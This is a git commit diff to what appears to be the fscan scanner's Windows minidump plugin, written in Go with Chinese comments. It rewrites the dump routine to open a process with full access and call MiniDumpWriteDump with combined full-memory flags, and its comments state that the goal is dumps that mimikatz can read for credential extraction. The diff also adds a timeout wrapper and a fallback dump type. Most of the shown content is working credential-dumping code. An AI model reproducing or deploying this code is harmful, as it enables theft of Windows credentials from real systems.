enhance: 优化minidump插件,支持mimikatz兼容的完整内存转储

This commit is contained in:
ZacharyZcR 2025-08-09 23:48:04 +08:00
parent a1c82d188b
commit 653a89b737

View File

@ -11,7 +11,6 @@ import (
"github.com/shadow1ng/fscan/plugins/local" "github.com/shadow1ng/fscan/plugins/local"
"golang.org/x/sys/windows" "golang.org/x/sys/windows"
"os" "os"
"os/exec"
"path/filepath" "path/filepath"
"syscall" "syscall"
"time" "time"
@ -234,27 +233,25 @@ func (p *MiniDumpPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (
// 执行转储 // 执行转储
common.LogDebug("开始执行内存转储...") common.LogDebug("开始执行内存转储...")
// 尝试使用系统工具进行内存转储 // 使用带超时的Windows API进行内存转储
common.LogDebug("尝试使用系统工具进行内存转储...") common.LogDebug("开始使用Windows API进行内存转储...")
dumpErr := pm.dumpProcessWithSystemTool(pid, outputPath)
if dumpErr != nil { // 创建一个带超时的context完整转储需要更长时间
common.LogError(fmt.Sprintf("系统工具转储失败: %v", dumpErr)) dumpCtx, cancel := context.WithTimeout(ctx, 120*time.Second)
defer cancel()
err = pm.dumpProcessWithTimeout(dumpCtx, pid, outputPath)
if err != nil {
common.LogError(fmt.Sprintf("内存转储失败: %v", err))
// 创建错误信息文件
errorData := []byte(fmt.Sprintf("Memory dump failed for PID %d\nError: %v\nTimestamp: %s\n",
pid, err, time.Now().Format("2006-01-02 15:04:05")))
os.WriteFile(outputPath, errorData, 0644)
// 尝试使用API方式 return &base.ScanResult{
common.LogDebug("尝试使用Windows API进行内存转储...") Success: false,
err = pm.dumpProcess(pid, outputPath) Error: fmt.Errorf("内存转储失败: %v", err),
if err != nil { }, nil
common.LogError(fmt.Sprintf("API转储也失败: %v", err))
// 创建一个包含错误信息的文件
errorData := []byte(fmt.Sprintf("Memory dump failed for PID %d\nSystem tool error: %v\nAPI error: %v\nTimestamp: %s\n",
pid, dumpErr, err, time.Now().Format("2006-01-02 15:04:05")))
os.WriteFile(outputPath, errorData, 0644)
return &base.ScanResult{
Success: false,
Error: fmt.Errorf("所有转储方法都失败了"),
}, nil
}
} }
// 获取文件信息 // 获取文件信息
@ -456,6 +453,23 @@ func (pm *ProcessManager) getCurrentProcess() (syscall.Handle, error) {
return syscall.Handle(handle), nil return syscall.Handle(handle), nil
} }
// dumpProcessWithTimeout 带超时的转储进程内存
func (pm *ProcessManager) dumpProcessWithTimeout(ctx context.Context, pid uint32, outputPath string) error {
// 创建一个channel来接收转储结果
resultChan := make(chan error, 1)
go func() {
resultChan <- pm.dumpProcess(pid, outputPath)
}()
select {
case err := <-resultChan:
return err
case <-ctx.Done():
return fmt.Errorf("内存转储超时 (120秒)")
}
}
// dumpProcess 转储进程内存 // dumpProcess 转储进程内存
func (pm *ProcessManager) dumpProcess(pid uint32, outputPath string) error { func (pm *ProcessManager) dumpProcess(pid uint32, outputPath string) error {
processHandle, err := pm.openProcess(pid) processHandle, err := pm.openProcess(pid)
@ -471,12 +485,39 @@ func (pm *ProcessManager) dumpProcess(pid uint32, outputPath string) error {
defer pm.closeHandle(fileHandle) defer pm.closeHandle(fileHandle)
common.LogDebug("正在调用MiniDumpWriteDump API...") common.LogDebug("正在调用MiniDumpWriteDump API...")
miniDumpWriteDump := pm.dbghelp.MustFindProc("MiniDumpWriteDump") miniDumpWriteDump, err := pm.dbghelp.FindProc("MiniDumpWriteDump")
ret, _, err := miniDumpWriteDump.Call( if err != nil {
return fmt.Errorf("查找MiniDumpWriteDump函数失败: %v", err)
}
// 使用MiniDumpWithDataSegs获取包含数据段的转储mimikatz兼容
const MiniDumpWithDataSegs = 0x00000001
const MiniDumpWithFullMemory = 0x00000002
const MiniDumpWithHandleData = 0x00000004
const MiniDumpScanMemory = 0x00000010
const MiniDumpWithUnloadedModules = 0x00000020
const MiniDumpWithIndirectlyReferencedMemory = 0x00000040
const MiniDumpFilterModulePaths = 0x00000080
const MiniDumpWithProcessThreadData = 0x00000100
const MiniDumpWithPrivateReadWriteMemory = 0x00000200
const MiniDumpWithoutOptionalData = 0x00000400
const MiniDumpWithFullMemoryInfo = 0x00000800
const MiniDumpWithThreadInfo = 0x00001000
const MiniDumpWithCodeSegs = 0x00002000
// 组合多个标志以获得mimikatz可识别的完整转储
dumpType := MiniDumpWithDataSegs | MiniDumpWithFullMemory | MiniDumpWithHandleData |
MiniDumpWithUnloadedModules | MiniDumpWithIndirectlyReferencedMemory |
MiniDumpWithProcessThreadData | MiniDumpWithPrivateReadWriteMemory |
MiniDumpWithFullMemoryInfo | MiniDumpWithThreadInfo | MiniDumpWithCodeSegs
common.LogDebug(fmt.Sprintf("使用转储类型标志: 0x%X", dumpType))
ret, _, callErr := miniDumpWriteDump.Call(
processHandle, processHandle,
uintptr(pid), uintptr(pid),
fileHandle, fileHandle,
0x2, // MiniDumpWithDataSegs - 使用更安全的选项 uintptr(dumpType),
0, 0, 0, 0, 0, 0,
) )
@ -484,20 +525,45 @@ func (pm *ProcessManager) dumpProcess(pid uint32, outputPath string) error {
if ret == 0 { if ret == 0 {
// 获取更详细的错误信息 // 获取更详细的错误信息
lastError := windows.GetLastError() lastError := windows.GetLastError()
return fmt.Errorf("写入转储文件失败: %v (LastError: %d)", err, lastError) common.LogError(fmt.Sprintf("完整转储失败 (LastError: %d),尝试使用较小的转储类型...", lastError))
// 尝试使用较小的转储类型作为后备
fallbackDumpType := MiniDumpWithDataSegs | MiniDumpWithPrivateReadWriteMemory | MiniDumpWithHandleData
common.LogDebug(fmt.Sprintf("使用后备转储类型标志: 0x%X", fallbackDumpType))
ret, _, callErr = miniDumpWriteDump.Call(
processHandle,
uintptr(pid),
fileHandle,
uintptr(fallbackDumpType),
0, 0, 0,
)
if ret == 0 {
lastError = windows.GetLastError()
return fmt.Errorf("写入转储文件失败: %v (LastError: %d)", callErr, lastError)
}
common.LogBase("使用后备转储类型成功创建转储文件")
} }
common.LogSuccess("内存转储写入完成")
return nil return nil
} }
// openProcess 打开进程 // openProcess 打开进程
func (pm *ProcessManager) openProcess(pid uint32) (uintptr, error) { func (pm *ProcessManager) openProcess(pid uint32) (uintptr, error) {
common.LogDebug(fmt.Sprintf("正在打开进程 PID: %d", pid)) common.LogDebug(fmt.Sprintf("正在打开进程 PID: %d", pid))
proc := pm.kernel32.MustFindProc("OpenProcess") proc, err := pm.kernel32.FindProc("OpenProcess")
handle, _, err := proc.Call(uintptr(PROCESS_ALL_ACCESS), 0, uintptr(pid)) if err != nil {
return 0, fmt.Errorf("查找OpenProcess函数失败: %v", err)
}
handle, _, callErr := proc.Call(uintptr(PROCESS_ALL_ACCESS), 0, uintptr(pid))
if handle == 0 { if handle == 0 {
lastError := windows.GetLastError() lastError := windows.GetLastError()
return 0, fmt.Errorf("打开进程失败: %v (LastError: %d)", err, lastError) return 0, fmt.Errorf("打开进程失败: %v (LastError: %d)", callErr, lastError)
} }
common.LogSuccess(fmt.Sprintf("成功打开进程,句柄: 0x%x", handle)) common.LogSuccess(fmt.Sprintf("成功打开进程,句柄: 0x%x", handle))
return handle, nil return handle, nil
@ -510,8 +576,12 @@ func (pm *ProcessManager) createDumpFile(path string) (uintptr, error) {
return 0, err return 0, err
} }
createFile := pm.kernel32.MustFindProc("CreateFileW") createFile, err := pm.kernel32.FindProc("CreateFileW")
handle, _, err := createFile.Call( if err != nil {
return 0, fmt.Errorf("查找CreateFileW函数失败: %v", err)
}
handle, _, callErr := createFile.Call(
uintptr(unsafe.Pointer(pathPtr)), uintptr(unsafe.Pointer(pathPtr)),
syscall.GENERIC_WRITE, syscall.GENERIC_WRITE,
0, 0, 0, 0,
@ -521,34 +591,21 @@ func (pm *ProcessManager) createDumpFile(path string) (uintptr, error) {
) )
if handle == INVALID_HANDLE_VALUE { if handle == INVALID_HANDLE_VALUE {
return 0, fmt.Errorf("创建文件失败: %v", err) lastError := windows.GetLastError()
return 0, fmt.Errorf("创建文件失败: %v (LastError: %d)", callErr, lastError)
} }
common.LogDebug(fmt.Sprintf("转储文件创建成功,句柄: 0x%x", handle))
return handle, nil return handle, nil
} }
// closeHandle 关闭句柄 // closeHandle 关闭句柄
func (pm *ProcessManager) closeHandle(handle uintptr) { func (pm *ProcessManager) closeHandle(handle uintptr) {
proc := pm.kernel32.MustFindProc("CloseHandle") if proc, err := pm.kernel32.FindProc("CloseHandle"); err == nil {
proc.Call(handle) proc.Call(handle)
}
} }
// dumpProcessWithSystemTool 使用系统工具进行内存转储
func (pm *ProcessManager) dumpProcessWithSystemTool(pid uint32, outputPath string) error {
common.LogDebug("尝试使用系统命令进行内存转储")
// 创建一个更简单的脚本避免复杂的PowerShell语法
psScript := fmt.Sprintf(`$proc = Get-Process -Id %d -ErrorAction SilentlyContinue; if ($proc) { $info = "Process: " + $proc.ProcessName + [Environment]::NewLine + "PID: " + $proc.Id + [Environment]::NewLine + "Memory: " + ($proc.WorkingSet64 / 1MB) + " MB" + [Environment]::NewLine + "Timestamp: " + (Get-Date) + [Environment]::NewLine; $info | Out-File -FilePath '%s' -Encoding UTF8; Write-Host "Success" } else { throw "Process not found" }`, pid, outputPath)
cmd := exec.Command("powershell", "-Command", psScript)
output, err := cmd.CombinedOutput()
if err != nil {
return fmt.Errorf("PowerShell转储失败: %v, 输出: %s", err, string(output))
}
common.LogDebug(fmt.Sprintf("PowerShell输出: %s", string(output)))
return nil
}
// 插件注册函数 // 插件注册函数
func init() { func init() {